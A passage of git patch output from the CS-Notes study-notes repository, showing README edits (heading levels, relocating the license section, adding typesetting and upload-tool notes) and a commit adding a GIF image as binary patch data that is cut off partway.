 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)
 
-### :memo: 后记 
+## :memo: 后记 
 
-#### 关于
+### 关于
 
 本仓库主要是根据计算机经典书籍以及官方技术文档进行总结的学习笔记，希望对大家有所帮助。
 
 学习笔记不是从网上到处拼凑而来，除了少部分引用书上和技术文档的原文，其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时，请遵循文末的开源协议，谢谢。
 
-#### QQ 群
+### QQ 群
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 
-#### 知识星球
+### 知识星球
 
 想要向笔者提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
 
 [🎓](other/Planet.md)
 
-#### 内推信息
+### 内推信息
 
 [🔎](https://github.com/CyC2018/Job-Recommend)
 
-#### Logo
+### Logo
 
 Power by [logomakr](https://logomakr.com/).
 
-#### License
+### License
 
 在对本作品进行演绎时，请署名并以相同方式共享。
 
 <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
 
-#### 致谢
+### 致谢
 
 感谢以下人员对本仓库做出的贡献，当然不仅仅只有这些贡献者，这里就不一一列举了。如果你希望被添加到这个名单中，并且提交过 Issue 或者 PR，请与笔者联系。
 

From 53ce789fa0dbc6ff10f28cd4b3d0066afdee65d7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:50:05 +0800
Subject: [PATCH 026/100] Update README.md

---
 README.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/README.md b/README.md
index 1375ca72..cb561228 100644
--- a/README.md
+++ b/README.md
@@ -110,12 +110,6 @@
 
 Power by [logomakr](https://logomakr.com/).
 
-### License
-
-在对本作品进行演绎时，请署名并以相同方式共享。
-
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
-
 ### 致谢
 
 感谢以下人员对本仓库做出的贡献，当然不仅仅只有这些贡献者，这里就不一一列举了。如果你希望被添加到这个名单中，并且提交过 Issue 或者 PR，请与笔者联系。
@@ -147,3 +141,9 @@ Power by [logomakr](https://logomakr.com/).
 <a href="https://github.com/yanglbme">
 ​    <img src="https://avatars1.githubusercontent.com/u/21008209?s=400&v=4" width="50px">
 </a>
+
+### License
+
+在对本作品进行演绎时，请署名并以相同方式共享。
+
+<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>

From 23cb60bc178fcfa1e68c32e433a34c81be5b98b5 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:50:59 +0800
Subject: [PATCH 027/100] Update README.md

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index cb561228..b576163f 100644
--- a/README.md
+++ b/README.md
@@ -12,6 +12,7 @@
 | &emsp;&emsp;&emsp;Java&emsp;&emsp;&emsp;<br>[:coffee:](#coffee-java) | &emsp;&emsp;&emsp;系统设计&emsp;&emsp;&emsp;<br>[:bulb:](#bulb-系统设计) | &emsp;&emsp;&emsp;&emsp;工具&emsp;&emsp;&emsp;&emsp;<br>[:hammer:](#hammer-工具) | &emsp;&emsp;&emsp;编码实践&emsp;&emsp;&emsp;<br>[:speak_no_evil:](#speak_no_evil-编码实践) | &emsp;&emsp;&emsp;后记 &emsp;&emsp;&emsp;<br>[:memo:](#memo-后记) |
 -->
 
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 
 <br>
 

From bebb900ab8cbf84f4978c20d917e71377c4df209 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:51:20 +0800
Subject: [PATCH 028/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index b576163f..18945410 100644
--- a/README.md
+++ b/README.md
@@ -17,7 +17,7 @@
 <br>
 
 <div align="center">
-    <img src="other/LogoMakr_0zpEzN.png" width="180px">
+    <img src="other/LogoMakr_0zpEzN.png" width="200px">
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
 </div> 

From 0fad0d317e7acaedfb6b92ca00bd1c94a88acb06 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 22:05:09 +0800
Subject: [PATCH 029/100] Update README.md

---
 README.md | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/README.md b/README.md
index 18945410..e82f7581 100644
--- a/README.md
+++ b/README.md
@@ -107,6 +107,16 @@
 
 [🔎](https://github.com/CyC2018/Job-Recommend)
 
+### 排版
+
+笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 ![]() 这种方式来引用图片，而是用 <img> 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：Text-Typesetting。
+
+### 上传方案
+
+笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
+
+笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：GFM-Converter。
+
 ### Logo
 
 Power by [logomakr](https://logomakr.com/).

From e7c2bb6fecc3186e5919f47b5714e2b306d0646a Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 21 Jan 2019 23:17:18 +0800
Subject: [PATCH 030/100] auto commit

---
 docs/notes/pics/1.gif         | Bin 0 -> 19456 bytes
 docs/notes/剑指 offer 题解.md |  15 +++++----------
 2 files changed, 5 insertions(+), 10 deletions(-)
 create mode 100644 docs/notes/pics/1.gif

diff --git a/docs/notes/pics/1.gif b/docs/notes/pics/1.gif
new file mode 100644
index 0000000000000000000000000000000000000000..fd2173a57a0499ab0f0e38d65a595dab42c8fa28
GIT binary patch
literal 19456
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
